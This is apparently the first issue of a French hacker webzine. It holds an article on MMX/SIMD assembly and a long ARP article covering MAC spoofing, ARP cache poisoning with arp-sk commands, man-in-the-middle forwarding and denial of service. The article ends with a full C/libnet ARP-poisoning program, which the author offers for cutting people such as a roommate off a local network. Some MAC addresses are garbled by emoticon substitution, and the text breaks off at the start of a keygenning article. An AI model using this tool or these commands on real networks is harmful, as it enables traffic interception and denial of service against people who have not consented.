Bienvenue dans ce premier numéro de ce magazine de N-PN !
Ce webzine sera le premier d'une longue lignée, du moins nous l'espérons, et a pour but de vous fournir des
articles de qualité, tout en essayant de se rendre accessible et compréhensible aux plus débutants
d'entre nous.
Comme vous pourrez le constater lors de la lecture, ce numéro est plus orienté vers le reverse-engineering
et la programmation avec le langage assembleur, bien que ce numéro comporte un article sur la stéganographie
ainsi que sur le protocole ARP, pour souffler un peu entre deux lignes d'assembleur.
Ce magazine est publié en HTML5, qui tient dans un fichier
unique, afin d'éviter des étapes inutiles avant la lecture
et le rendre accessible depuis quel appareil mobile (smartphone,
tablette, netbook...) capable de
supporter javascript et HTML5 (ce qui devrait être le cas). De
plus, diffuser le zine sous cette forme permet d'éviter les
liens morts, étant donné que toutes les ressources (images,
fichiers d'exemple) sont directement stockés dans le fichier html.
Avant de vous laisser découvrir le sommaire, je tiens particulièrement à remercier
spin, Luxerails, kallimero, fr0g, spartal1n qui ont rédigé les articles de ce zine, ainsi
que Booster2ooo, qui est a créé la maquette de ce webzine.
Ce court article, surtout théorique, présente d’une manière
restreinte l’intérêt des instructions simd (Single Instruction Multiple
Data) à celui qui programme déjà en assembleur – même à un débutant. Cet
article n’est pas une initiation à la programmation avec simd, mais
plutôt une discussion philosophique sur les bienfaits des extensions
simd.
0x01 - Introduction
Aujourd’hui, l’intérêt de programmer en
assembleur peut paraître assez moindre ; les compilateurs des langages
haut-niveau produisent du code assez bon. Puis quand bien même un code
généré par un compilateur ne serait pas aussi efficient qu’un code
assembleur pensé par un humain, les machines de nos jours sont telles
que la perte de performance serait trop infime pour que l’on s’en
soucie. La question du pourquoi programmer ou continuer de programmer en
assembleur fait l’objet d’un débat que je trouve tout-à-fait
inintéressant. Programme en assembleur celui qui en a la volonté.
Cependant, programmer en assembleur ne signifie pas programmer comme
dans la pré-histoire.
De nos jours, les processeurs grand-public ne
disposent plus d’instructions aussi primitives qu’on pourrait le croire –
bien au contraire – et paradoxalement certaine de ces instructions sont
moins primitives que des instructions d’un langage haut-niveau tel que
le C.
0x02 - Il fut un temps
Tout au long de cet article nous parlerons de
vecteurs. De ce pas, introduisons deux vecteurs tri-dimensionnels u et
v, soient-ils :
→ ⎛ 42 ⎞ → ⎛ 4 ⎞
u = ⎜ 3 ⎟ et v = ⎜ 6 ⎟
⎝ 8 ⎠ ⎝ 1 ⎠
L’enjeu est le suivant : réaliser la somme des deux vecteurs u et v. Soit w le vecteur somme tel que :
Techniquement et plus concrètement, nos vecteurs
auront des composantes de chacune un octet. Les lecteurs ayant déjà
pratiqué l’assembleur auront une idée quant à la représentation de ces
valeurs en mémoire.
u: db 42, 3, 8 ; vecteur u
v: db 4, 6, 1 ; vecteur v
w: rb 3 ; Reserve 3 Bytes
L’algorithme le plus simple qui soit pour
effectuer la somme vectorielle en assembleur est le suivant : charger la
première composante du vecteur u dans un registre – disons le registre
AL –, lui additionner la première composante du vecteur v→. Placer le
contenu du registre dans la mémoire allouée pour la première composante
du vecteur w→. En faire de même pour les autres composantes. Voici le
code correspondant :
mov al, [u]
add al, [v]
mov [w], al ; 1re composante de w calculée
mov al, [u+1]
add al, [v+1]
mov [w+1], al ; 2e composante de w calculée
mov al, [u+2]
add al, [v+2]
mov [w+2], al ; 3e composante de w calculée
u: db 42, 3, 8
v: db 4, 6, 1
w: rb 3
Par cette méthode, dite séquentielle, il nous est
nécessaire d’user de neuf instructions afin d’effectuer notre addition
vectorielle. Ce programme fonctionnerait parfaitement sur un processeur
Intel 8086 datant de 1978. Ne vous-semblerait-il pas plus sage de
trouver autre chose ?
0x03 - De nos jours
Depuis l’ère du calcul vectoriel « maison », les
processeurs intègrent de nouvelles extensions prévu à ce type de calcul –
les extensions simd (Single Instruction Multiple Data). Une extension
est généralement le couple d’un jeu d’instructions et d’un jeu de
registres, ces derniers ayant un usage en particulier. Les extensions
simd furent dans un but de vectorisations des calculs. Le paradigme –
s’opposant totalement avec le paradigme séquentiel – est le suivant :
ayant une donnée multiple (un vecteur, une matrice), nous disposons
d’instructions capable d’opérer sur la donnée multiple directement. En
d’autre termes, le processeur sait ce qu’est un vecteur.
Les processeurs Intel et AMD se sont vus dotés de
nouvelles extensions simd ces dernières années, notamment MMX
(MultiMedia eXtensions) et SSE (Streaming Simd Extensions). Dans le
présent article, seul un aperçu de l’extension MMX sera mis en
application.
L’extension MMX, introduite avec le Pentium II en
1997, est composée d’un jeu d’une cinquantaine d’instructions, ainsi que
huit registres 64 bits portant les noms : MM0, MM1, MM2, MM3, MM4, MM5,
MM6 et MM7. Un seul de ces registre peut contenir une donnée multiple,
soit une donnée de deux composantes de 32 bits, une donnée de quatre
composantes de 16 bits ou bien une donnée de huit composantes de 8 bits.
Reprenons notre premier programme : l’addition des
deux vecteurs u et v. MMX nous offre des instructions d’opération sur
plusieurs composantes constituant la donnée d’un seul registre. En
premier lieu, il nous faudrait avant tout pouvoir placer nos données
dans ces fameux registre MMn. MMX propose alors deux instructions de
déplacement de données – des instructions mov spéciales – qui sont movd
(Move Doubleword – double mot de 32 bits) ou movq (Move Quadword –
quadruple mot de 64 bits). Nous utiliserons évidemment l’instruction
movd qui déplace 4 octets (32 bits). Nos vecteurs ayant seulement trois
composantes d’un octet chacune, il nous suffira juste de définir une
quatrième composante étant égale à 0.
Une telle instruction, comme nous nous en doutons,
déplacera un vecteurs ayant une taille de 32 bits dans la partie basse
d’un des registres MMn. La partie haute sera alors automatiquement mise à
zéro.
Ici l’algorithme serait le suivant : placer un
vecteur dans un registre MMn, placer l’autre vecteur dans le registre
MMm, puis additionner les deux vecteurs. Remarquez que cette fois-ci
nous parlons d’un vecteur comme étant une entité reconnue par le
processeur, au même titre qu’un nombre, il n’y a plus de pointeur sur
une chaîne de données.
L’extension MMX fournit diverses instructions
d’addition, pour chaque cas. Le cas intéressant ici est l’instruction
d’addition sur des composantes d’un octet : paddb. Il est important de
noter que cette instruction effectue des additions sur des entiers
non-signés, soit des entiers naturels.1
Ce programme compte ainsi quatre instructions dans le
but de réaliser l’addition vectorielle. Il aurait été possible de
réaliser le même programme de la façon suivante :
Dans le précédent programme, nous additionnons le
vecteur dans MM0 directement avec un vecteur en mémoire. Nous avons donc
implémenté notre addition vectorielle en seulement trois instructions.
Souvenons-nous que le programme séquentiel en comptait neuf.
Le lecteur désireux de connaître l’extension MMX dans
les moindres détails peut se reporter au chapitre 9, Programming With
the Intel MMX Technology, du manuel Intel, volume 1 [2].
0x04 - Applications concrètes
Nous savons à présent implémenter une addition vectorielle.
Programmer en assembleur de façon moderne est fort bien, mais encore
faudrait-il pouvoir tirer profit de cette technologie dans des
applications concrètes. Typiquement, les instructions simd voient leur
utilité dans le traitement multimédia ou dans les jeux vidéos.
Simulation d’éclairage
Le produit scalaire (aussi connu sous le nom de dot
product) est beaucoup utilisé par les logiciels de rendus 3D ; en
simplifiant à outrance, une forme 3D sont un ensemble de facettes (qui
constituent la surface de la forme). Afin de connaître l’éclairage que
subit chaque facette, le logiciel effectuera des tests en fonction du
vecteur normal (perpendiculaire) ni à chaque facette et du vecteur l qui
représente la source d’éclairage. Le sens du vecteur l indiquera le
sens où l’éclairage se propage.
Le résultat du produit scalaire d’un vecteur ni et du
vecteur l (notée ni·l) sera un paramètre influant sur l’intensité de
l’éclairage d’une facette.
L’extension SSE4.1, introduite en 2007, nous offre
justement deux instructions de produit scalaire sur les vecteurs : dpps
pour la précision simple et dppd pour la précision double. Voilà qui
peut être utile, aussi bien dans un jeu vidéo que dans un logiciel de
modélisation tel que Blender.
Traitement d’image
Considérons une image matricielle, étant donc une
grille de pixels. Il est intéressant, par exemple lors d’un
éclaircissement sur l’image entière, de pouvoir effectuer l’opération
sur plusieurs pixels en même temps, au lieu d’opérer pixel par pixel.
0x05 - Comparaison avec gcc
Nous implémentons à présent l’addition vectorielle en
langage C, que nous compilerons avec gcc 4.6.2, dernière version à ce
jour. Nous pourrons demander à gcc d’utiliser l’extension MMX – sinon il
est clair que le programme assembleur sera plus efficient – grâce à la
suivante commande : gcc -mmmx -masm=intel -S. Les options -S et
-masm=intel spécifient que nous désirons obtenir le code assembleur
généré, en syntaxe Intel. l’option -mmmx indique, évidemment, que gcc
devra générer du code avec des instructions MMX, appelée MMX built-in
function par la documentation gcc. Normalement, gcc aura recours à la
fonction v8qi __builtin_ia32_paddb (v8qi, v8qi) si il est aussi futé
qu’un humain. [1]. Voici le code :
Sans compter le prologue et l’épilogue de fonction,
nous avons vingt instructions nécessaires pour effectuer l’addition
vectorielle. Non, cela n’est pas un troll ; souvenez-vous, la différence
de performance entre le code de gcc et le code humain est infime, de
nos jours.
0x06 - Conclusion
De nos jours, nous pouvons en effet nous passer de
tout programmer en assembleur. Mais les extensions simd sont tellement
magiques et puissantes qu’il serait dommage de ne pas en faire usage,
d’autant plus que les compilateurs ont visiblement du mal à générer du
code simd pour l’instant.
Formellement,
un entier non-signé est un entier dans un ensemble E ⊂ ℕ tel que : E = {
n ∣ n ≤ 2p−1 } où p est le nombre de bits sur lequel on représente le
nombre.
> Toutes les possibilités de l'ARP
Auteur: spartal1n
En bref, le protocole ARP (Address Resolution
Protocol) permet de faire correspondre adresses IP et adresses physiques
(appelées adresses MAC) sur un réseau local (LAN). Les attaques via ce
protocole sont connues mais néanmoins, les conséquences de ces attaques
sont rarement appréhendées à leur juste mesure. Cet article va donc vous
permettre de les connaître. Je décline donc responsabilité devant
toutes utilisations mal intentionnés.
0x01 - Introduction
Le modèle OSI a été défini par l’International
Standardization Organisation (ISO) afin de mettre en place un standard
de communication entre les ordinateurs d’un réseau, il comporte sept
couches que je ne developperai pas. Nous allons uniquement nous
intéresser aux couches dites basses:
la couche liaison (niveau 2) sert d’interface entre la carte réseau et méthode d’accès.
la couche réseau (niveau 3) gère l’adressage logique et le routage.
Au niveau 2, les protocoles permettent la transmission des données en s’adaptant aux particularités du
support physique (802.3, Ethernet, wireless, token ring, et de nombreux autres encore). A chaque support
correspond une trame spécifique et un adressage associé. Le terme adresse MAC (Medium Access Control)
désigne une adresse physique, indépendamment du support physique : il s’agit donc des adresses de
niveau 2. Les protocoles de niveau 3 suppriment les différences qui existent aux niveaux inférieurs.
0x02 - Protocole Ethernet
Actuellement, la plupart des réseaux locaux (LAN, Local Area Network) reposent sur une couche
physique Ethernet. Ce protocole se retrouve également dans la couche liaison.
La structure d’une trame Ethernet :
les adresses Ethernet s’écrivent sur 6 octets (48
bits) en notation héxadécimale, séparés par le caractère ’:’ (’-’ sur
Windows) :
les 3 premiers octets correspondent à un code constructeur (3Com, Sun, ...)
les 3 derniers octets sont attribués par le constructeur.
Ainsi, une adresse Ethernet est supposée être unique. Sous Unix, la commande ifconfig révèle
l’adresse Ethernet associée à une carte :
# sous Linux
[spartal1n]$ /sbin/ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:90:27:6A:58:74
inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0
...
Remarque: FF:FF:FF:FF:FF:FF correspond à l’adresse de diffusion (broadcast) qui
permet d’envoyer un message à toutes les machines, et 00:00:00:00:00:00 est réservée.
On peut aussi modifier son adresse physique (MAC):
# sous Linux
[root@spartal1n]# ifconfig eth0 | grep HWaddr
eth1 Link encap:Ethernet HWaddr 00:10:A4:9B:6D:81
[root@spartal1n]# ifconfig eth0 down
[root@spartal1n]# ifconfig eth0 hw ether 11:22:33:44:55:66 up
[root@spartal1n]# ifconfig eth0 | grep HWaddr
eth1 Link encap:Ethernet HWaddr 11:22:33:44:55:66
Le type précise le protocole de niveau 3 qui est encapsulé dans le paquet, comme par exemple :
Les données occupent de 46 à 1500 octets. Le
bourrage intervient lorsque le paquet encapsulé tient sur moins de 46
octets, comme c’est le cas des paquets ARP.
Cependant une trame Ethernet commence par sept octets codant la valeur 0xAA, suivi d’un huitième octet
valant 0xAB. Cet entête permet au matériel de se synchroniser, l’état de synchronisation étant atteint
lorsque le destinataire de la trame parvient à décoder correctement les deux derniers octets.
0x03 - Protocole ARP
Le protocole ARP (Address Resolution Protocol RFC
826) permet une correspondance dynamique entre adresses physiques et
adresses logiques (adresses respectivement de niveau 2 et 3).
L’identificateur adresse physique détermine la configuration du champ longueur de l’adresse
physique. Ainsi une valeur de 1 indique un réseau Ethernet (10 Mbit/s), etc...
L’identificateur adresse logique indique le
protocole pour lequel on recherche la correspondance à une adresse
logique donnée. Dans le cas du protocole IP, ce champ vaut 0x0800.
Le champ longueur de l’adresse physique indique la
longueur en octets de l’adresse MAC, soit 6 pour des adresses Ethernet.
Le champ longueur de l’adresse logique indique la
longueur en octets de l’adresse logique, soit 4 pour des adresses IP.
Le code précise la nature du paquet, soit 1 pour une demande (request ou who-has) et 2 pour une
réponse (reply ou is at).
L’adresse physique de l’émetteur contient l’adresse
Ethernet de l’émetteur. Dans le cas d’une réponse ARP, ce champ révèle
l’adresse recherchée.
L’adresse logique de l’émetteur contient l’adresse IP de l’émetteur.
L’adresse physique du récepteur contient l’adresse
Ethernet de l’émetteur de paquet. Dans le cas d’une demande ARP, ce
champ est vide.
L’adresse logique du récepteur contient l’adresse IP du récepteur.
Le paquet ARP est ensuite encapsulé dans une trame Ethernet.
Lorsqu’une machine émet une trame sur le support
physique, toutes les stations y étant connectées la reçoivent. Par la
suite, la station doit être capable de déterminer si cette trame lui est
destinée. Ainsi, un premier filtre gérant les trames émises et reçues
par le système agit au niveau de la pile TCP/IP.
Il compare l’adresse MAC contenue dans une trame à
celle associée à la carte réseau (nous sommes ici au
niveau 2 du modèle OSI). Si ces deux adresses sont
identiques, la partie données de la trame est remontée
au niveau 3 pour traitement ultérieur. Dès lors, il
est essentiel pour l’instigateur d’une communication de récupérer
préalablement l’adresse MAC du destinataire. C’est là qu’intervient le
protocole ARP. Chaque système dispose d’une table qui sauvegarde les
correspondances (adresse MAC, adresse IP), c'est le cache ARP. Ainsi,
une requête ARP est émise uniquement si le destinataire n’est pas
présent dans la table.
La commande arp -a affiche le contenu de la table.
Comment rediriger le trafic ?
0x04 - Écoute de réseau (sniffing)
Lorsqu'on veut sniffer un réseau on pense tout de
suite à Tcpdump ou Wireshark. Si cette technique est simple à mettre en
oeuvre et extrêmement difficile à détecter lorsque le mécanisme
est mis en place dans une totale passivité, elle se
trouve très vite confrontée à ses limites. D’une part, sur
un réseau commuté, chaque branche ne reçoit que les
trames destinées à une adresse MAC qui y est
présente. De fait, l’utilisation de plus en plus
courante de commutateurs (switch) Ethernet (de niveau 2)
réduit la portée d’une telle écoute aux seules
trames destinées à la station espionne, ce qui, tout le monde
en conviendra, présente peu d’intérêt. D’autre part,
les trames sniffées ne peuvent pas être détournées de
leur destination. Enfin une gestion parfois
difficile d’enventuelles erreurs consécutives à l’introduction de
données (gestion des numéros de séquence TCP) ou l’évincement d’une des
deux parties (gestion des RST de TCP) peut devenir problématique...
0x05 - Usurpation d’adresse MAC (MAC spoofing)
Comme nous l’avons vu plus tôt, une trame
Ethernet dispose d’un champ source et d’un champ
destination. Ces champs sont examinés par les
commutateurs Ethernet pour, d’une part, choisir sur quel
port ils vont envoyer une trame reçue par examen de
l’adresse MAC destination, et d’autre part mettre à
jour une table associant ses ports aux adresses MAC
des différents postes par exament de l’adresse MAC
source. Cette table, appelée table CAM (Content
Adressable Memory) dans la terminologie Cisco, contient
pour chaque port les adresses MAC des hôtes qui y
sont connectés. Le contenu de cette table est mis à jour
dynamiquement pour permettre le changement de port
d’un hôte par exemple.
L’usurpation d’adresse MAC vise à se servir de ce
mécanisme de mise à jour pour forcer le commutateur à
croire que la station dont nous voulons écouter le
trafic se trouve sur notre port. Le principe est simple :
nous envoyons une trame ayant pour adresse source
l’adresse MAC de notre victime, et pour destination
notre adresse MAC. Le commutateur, en recevant cette
trame, met sa table à jour en associant l’adresse
MAC de la victime à notre port. Dès lors,
l’intégralité du trafic qui lui est destiné est dirigé sur notre port
et il ne nous reste plus qu’à le lire
tranquillement.
Pour voir le trafic à destination du routeur, j'envoie donc des trames Ethernet dont l’adresse source est
52:54:05:FDBig GrinE:E5 et l’adresse destination 00:10:A4:9B:6D:81. Le commutateur met alors sa table CAM
à jour pour ajouter l’adresse MAC 52:54:05:FDBig GrinE:E5 au port auquel je suis connecté, et la supprime
du port auquel est connecté le routeur. Une représentation rapide de la table CAM est :
# Avant
Port | Adresse MAC
-------------------------
1 | 52:54:05:F4:62:30 # cible
2 | 52:54:05:FDBig GrinE:E5 # routeur
3 | 00:90:27:6A:58:74 # paul
4 | 00:10:A4:9B:6D:81 # spartal1n
#Après
Port | Adresse MAC
-------------------------
1 | 52:54:05:F4:62:30 # cible
2 |
3 | 00:90:27:6A:58:74 # paul
4 | 00:10:A4:9B:6D:81; 52:54:05:FDBig GrinE:E5 # spartal1n, routeur
Mais cette technique n'est pas à l'abri de
problème car la victime émet encore des paquets, ce qui place le
commutateur face à une situation conflictuelle : il reçoit la même
adresse MAC sur deux ports différents. Selon le matériel utilisé et sa
configuration, la réaction va d’une mise à jour
systématique de la table par le dernier paquet reçu à
une désactivation administrative du port usurpant
l’adresse.
0x06 - Usurpation d’identité ARP (ARP spoofing)
Devant la limitation de l’usurpation d’adresse MAC en terme de détournement de trafic et de furtivité,
nous nous attaquons à la couche supérieure. Enfin, pas tout à fait à la couche supérieure, à savoir IP, mais
au mécanisme qui permet de faire la correspondance entre les adresses MAC et les adresses IP : ARP. En
effet, si nous arrivons à associer notre adresse MAC à l’adresse IP dont nous voulons obtenir le trafic,
nous aurons gagné.
Le cache ARP d’un hôte doit parfois être mis à
jour : changement d’adresse IP d’une machine, changement de carte réseau
suite à une panne, etc. Pour faire face à de tels changements, le cache
observe
ce qu’il reçoit au niveau ARP pour tenir ses entrées
à jour. Dans le cas qui nous intéresse, lorsqu’un hôte
reçoit une trame contenant une réponse ARP et que
son cache contient une entrée correspondant à
l’adresse IP concernée par celle-ci, il met l’entrée
à jour si les informations de son cache diffèrent de celle
contenue dans le paquet ARP. Ainsi, lorsque batman
va recevoir la réponse de robin, il va mettre son
cache à jour et écraser l’entrée que nous venions
juste de falsifier. Il est donc nécessaire d’envoyer des
réponses de manière continue afin que le cache
conserve l’entrée falsifiée que nous voulons.
En outre, cette technique suppose que l’hôte visé ne possède pas d’entrée correspondant à l’adresse IP que
nous voulons falsifier, sans quoi aucune requête n’est émise. C’est malheureusement rarement le cas,
puisque les adresses les plus intéressantes sont des machines souvent interrogées par nos cibles
potentielles.
0x07 - Corruption de cache ARP (ARP cache poisoning)
L’idéal serait donc d’agir directement sur le cache ARP de notre cible, indépendament des requêtes qu’il
pourrait être amené à émettre. Pour y parvenir, nous devons être capables de réaliser deux opérations : la
création d’une entrée dans le cache et le mise à jour d’entrées existantes.
Pour créer efficacement une entrée dans le cache ARP d’une machine, l’idéal serait de l’amener à émettre
une requête en vue de communiquer avec l’adresse IP qui nous intéresse.
Ce comportement est extrêmement intéressant. Si je veux créer une entrée pour l’adresse IP de mon routeur
(192.168.1.2) correspondant à son adresse MAC (00:10:A4:9B:6D:81) dans le cache de ma cible, il me
suffit de lui envoyer une requête ARP, avec comme adresse MAC source la mienne et comme adresse
IP source celle du routeur. Cependant, une requête ARP est émise en diffusion, ce qui est assez embarassant
puisque la cible va voir passer cette requête.
Nous jouons donc sur la couche Ethernet, et
envoyer notre requête en unicast, à destination de la cible. En effet,
la couche ARP ne fait aucune vérification de cohérence entre les entêtes
Ethernet et le contenu du message ARP.
[root@joker]# arp-sk -w -d cible -S routeur -D cible
+ Running mode "who-has"
+ IfName: eth0
+ Source MAC: 00:10:a4:9b:6d:81
+ Source ARP MAC: 00:10:a4:9b:6d:81
+ Source ARP IP : 192.168.1.2 (routeur)
+ Target MAC: 52:54:05:F4:62:30
+ Target ARP MAC: 00:00:00:00:00:00
+ Target ARP IP : 192.168.1.1 (cible)
--- Start sending --
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
--- batman (00:00:00:00:00:00) statistic ---
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP Who has 192.16.1.1 (00:00:00:00:00:00) ?
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
1 packets tramitted (each: 42 bytes - total: 42 bytes)
Si on observe le cache ARP de la cible, on constate que :
# avant
[cible]$ arp -a
alfred (192.168.1.3) at 00:90:27:6a:58:74
# après
[cible]$ arp -a
routeur (192.168.1.2) at 00:10:a4:9b:6d:81
paul (192.168.1.3) at 00:90:27:6a:58:74
Nous avons donc réussi non seulement à créer une
entrée pour le routeur dans le cache ARP de la cible sans que cette
dernier n’ait initié la moindre requête, mais surtout, nous avons réussi
à lui donner les valeurs qui nous intéressaient. À partir de
maintenant, et jusqu’à ce que cette entrée se trouve mise à jour avec
des valeurs différentes, lorsque la cible voudra envoyer un paquet IP au
routeur, elle le placera dans une trame Ethernet qui nous sera destiné.
Maintenant que nous savons créer des entrées dans le cache ARP d’un hôte, nous nous intéressons à leur
mise à jour. Cela sert non seulement pour modifier une entrée existante, mais aussi pour nous garantir le
maintient de la valeur des entrées malgré d’éventuelles mises à jour ultérieures du cache.
Nous exploitons le mécanisme vu précédemment pour mettre à jour les entrées du cache. Supposons que
la cible posséde une entrée valide pour robin :
[cible]$ arp -a
routeur (192.168.1.2) at 52:54:05:fdBig Grine:e5
paul (192.168.1.3) at 00:90:27:6a:58:74
Pour mettre à jour cette entrée, nous envoyons à
la cible une réponse ARP venant du routeur, mais associant son IP à
notre adresse MAC :
[root@spartal1n]# arp-sk -r -d cible -S routeur -D cible
+ Running mode "reply"
+ IfName: eth0
+ Source MAC: 00:10:a4:9b:6d:81
+ Source ARP MAC: 00:10:a4:9b:6d:81
+ Source ARP IP : 192.168.1.2 (routeur)
+ Target MAC: 52:54:05:F4:62:30
+ Target ARP MAC: 52:54:05:F4:62:30
+ Target ARP IP : 192.168.1.1 (cible)
--- Start sending --
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP For 192.168.1.1 (52:54:05:F4:62:30)
192.168.1.2 is at 00:10:a4:9b:6d:81
--- batman (52:54:05:F4:62:30) statistic ---
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP For 192.168.1.1 (52:54:05:F4:62:30):
192.168.1.2 is at 00:10:a4:9b:6d:81
1 packets tramitted (each: 42 bytes - total: 42 bytes)
Si nous regardons maintenant le cache ARP de batman, nous constatons la mise à jour de l’entrée :
[cible]$ arp -a
routeur (192.168.1.2) at 00:10:a4:9b:6d:81
paul (192.168.1.3) at 00:90:27:6a:58:74
Notre objectif est donc atteint. Pour maintenir ces valeurs dans le cache, il nous suffira de renouveler
régulièrement l’envoi de ces messages ARP. arp-sk, par défaut, envoie un message toutes les 5
secondes.
Remarque:
Une fois le cache polué, les trames que nous recevons sont semblables à celles que reçoit un routeur :
l’adresse MAC destination de la trame Ethernet n’est pas celle associée à l’adresse de destination du
paquet IP. Pour renvoyer les trames à leur destinataire légitime, il suffit donc d’activer le routage IP
sur le poste attaquant (echo 1 > /proc/sys/net/ipv4/ip_forward ).
0x08 - Les différentes attaques possibles
Écoute
Une fois qu’on a réussi à détourner le trafic émis par un hôte à destination d’un autre, la première chose
intéressante à faire est de regarder les données qui transitent avant de les renvoyer à leur véritable
destinataire. Nous réalisons donc un Man in the Middle.
Interception (proxying) et vol de connexion (hijacking)
À présent, nous sommes capables de réaliser des
opération de détournement de flux gâce a notre Man in the Middle nous
pouvons donc modifier ou extraire les données sans qu’aucune des deux
parties ne s’en aperçoive. De plus si des systèmes de vérification
d’intégrité simples comme CRC32, MD5 ou SHA1
étaient mis en place nous pourrions les recalculer
les sommes à la volée.
Passage de pare-feu par usurpation (spoofing)
En utilisant la possibilité de se faire passer pour un hôte quelconque du réseau auprès de la passerelle et le
concept d’interception de flux, nous pouvons initier des connexions vers le monde extérieur avec les listes
d’accès définies pour l’adresse usurpée. Ceci nous permet d’élever notre niveau de privilège pour les accès
réseau à travers un éventuel dispositif de filtrage (pare-feu, proxy).
Déni de service (DoS)
Il est très facile de réaliser des dénis de service
en utilisant les attaques sur ARP. Il suffit de refuser les
paquets détournés :
[root@joker]# iptables -A FORWARD -p tcp -s routeur -d cible -j DROP
Pour le routeur, la cible est morte... Il est ainsi
possible de rendre un serveur de domaines inaccessible à un hôte donné,
de manière à se positioner comme serveur secondaire et proposer des
mécanismes
d’authentification plus faibles.
0x09 - Conlusion
Le protocole Arp permet dans un réseau local de
manipuler la plupart des communications, cependant des méthodes pour se
protéger existe telles que un filtrage au niveau de l'ARP, ou un
adressage Ip/ARP statique, d'un IDS(système de détection d'intrusion)
surveillant le cache ARP ou encore l'utilisation d'authentification
fore(SSL,etc...) J'espère donc que ce developpement du protocole ARP
vous a intéresser, je joint à la fin de cet article un code vous
permettant d'éjecter durant une période donnée une personne de votre
réseau en utilisant le cahce poising. Dans le prochain article je
developperai l'attaque Man in th Middle. Aller à tanto tout le monde !
PS: Pour tout renseignement, coquille ou autre je suis disponible via MP (message privé) ou sur l'irc #N-PN (irc.n-pn.info).
0x0A - Script d'ARP Poisoning
Commençons par installer l'environnement adapté:
installer le paquet libnet-dev et supprimer les restrictions du noyau
linux sur les requêtes ARP forgées.
Ce code d'ARP Poising a été créé par SpartAl1n.
Je me suis inspiré de plusieurs sites pour obtenir après recroisement ce
code. Il permet de forger des requêtes ARP ayant pour adresse Mac
source votre interface réseau. Vous pouvez grâce à ce code rediriger des
paquets pour par exemple éjecter une personne de votre réseau en le
redirigeant sur votre machine.( coloc' qui utilise trop de bande
passante). Je vous conseil de mettre dans comme adresse IP source l'IP
de votre routeur ou de votre Box.
/*Correction des principaux problèmes:
* - Supprimer les entrées dans le cache ARP sinon on peut avoir une erreur car deux adresses ip
* seront liées pour la même ardesse Mac.
*
* arp -s (ajouter une entrée statique), exemple : arp -s 192.168.1.2 00:40:33:2D:B5Big GrinD
* arp -d (supprimer une entrée), exemple : arp -d 192.168.1.2
*
* - Supprimer la protection contre l'envoi de requête ARP (Variable sur 1):
* - Editer /proc/sys/net/ipv4/conf/all/arp_accept
* - Editer /proc/sys/net/ipv4/conf/eth1/arp_accept
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <libnet.h>
////////////////////////////// USAGE //////////////////////////////////////////
void usage (char *name)
{
printf ("%s - Send arbitrary ARP replies\n", name);
printf ("Usage: %s -s ip_address -t dest_ip\n", name);
printf (" -s IP address qu'on pense qu'on est\n");
printf (" -t IP address du destinataire\n");
printf (" -m Ethernet MAC address du destinataire\n");
exit (1);
}
///////////////////////////// MAIN /////////////////////////////////////////////
int main (int argc, char *argv[])
{
char o; /* Pour le processus d'option */
char *device = NULL; /* interface d'accès au réseau*/
in_addr_t ipaddr; /* Ip source du paquet*/
in_addr_t destaddr; /* IP du destinataire*/
u_int8_t *macaddr; /* Adresse Mac du destinataire */
libnet_t *l; /* libnet context */
struct libnet_ether_addr *hwaddr; /* Adresse Mac de la source(nous)*/
libnet_ptag_t arp = 0, eth = 0; /* Tag ARP protocol et Ethernet protocol*/
char errbuf[LIBNET_ERRBUF_SIZE]; /* messages d'erreur */
int r; /* generic return value */
int nb_paquet=0,i; /* Variable pour l'envoi des paquets*/
puts("Bienvenue dans le ARP Poising by SpartAl1n");
if(argc < 3)
usage (argv[0]);
while ((o = getopt (argc, argv, "i:tConfused:m:")) > 0)
{
switch (o)
{
case 'i':
device = optarg;
break;
case 's':
if ((ipaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid claimed IP address\n");
usage (argv[0]);
}
break;
case 't':
if ((destaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid destination IP address\n");
usage (argv[0]);
}
break;
case 'm':
if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL)
{
fprintf (stderr, "Error on MAC address\n");
usage (argv[0]);
}
break;
default:
usage (argv[0]);
break;
}
}
/* Ouverture du context libnet */
l = libnet_init (LIBNET_LINK, device, errbuf);
if (l == NULL)
{
fprintf (stderr, "Error opening context: %s", errbuf);
exit (1);
}
/* Récupération de l'adresse Mac de notre carte réseau*/
hwaddr = libnet_get_hwaddr (l);
///////////////////////// Fabrication de notre ARP header /////////////////////////
arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */
(u_int8_t *) hwaddr, /* source hardware addr */
(u_int8_t *) &ipaddr, /* source protocol addr */
macaddr, /* target hardware addr */
(u_int8_t *) &destaddr, /* target protocol addr */
l); /* libnet context */
if (arp == -1)
{
fprintf (stderr, "Unable to build ARP header: %s\n", libnet_geterror (l));
exit (1);
}
///////////////// Création de notre Ethernet Header /////////////////////////////
eth = libnet_build_ethernet (macaddr, /* destination address */
(u_int8_t *) hwaddr, /* source address */
ETHERTYPE_ARP, /* type of encasulated packet */
NULL, /* pointer to payload */
0, /* size of payload */
l, /* libnet context */
0); /* libnet protocol tag */
if (eth == -1)
{
fprintf (stderr,
"Unable to build Ethernet header: %s\n", libnet_geterror (l));
exit (1);
}
////////////////////////// Envoi des paquets ////////////////////////////////////
printf("Nombre de paquet voulu, 1 paquet= 2secondes :");
scanf("%d", &nb_paquet);
for(i=0; i < nb_paquet;i++)
{
/* Création des paquets */
if ((libnet_write (l)) == -1)
{
fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
exit (1);
}
puts("paquets envoyer");
sleep(2);
}
//////////////////////////Fermeture du programme proprement /////////////////////
/* Fermeture propre */
libnet_destroy (l);
return 0;
}
Voilà maintenant vous pouvez éjecter n'importe qui
de votre réseau local durant la durée que vous avez décidé.
> Introduction au Keygenning sous Win32
Auteur: fr0g
Introduction
Bonjour, afin de suivre dans la lancée de mes
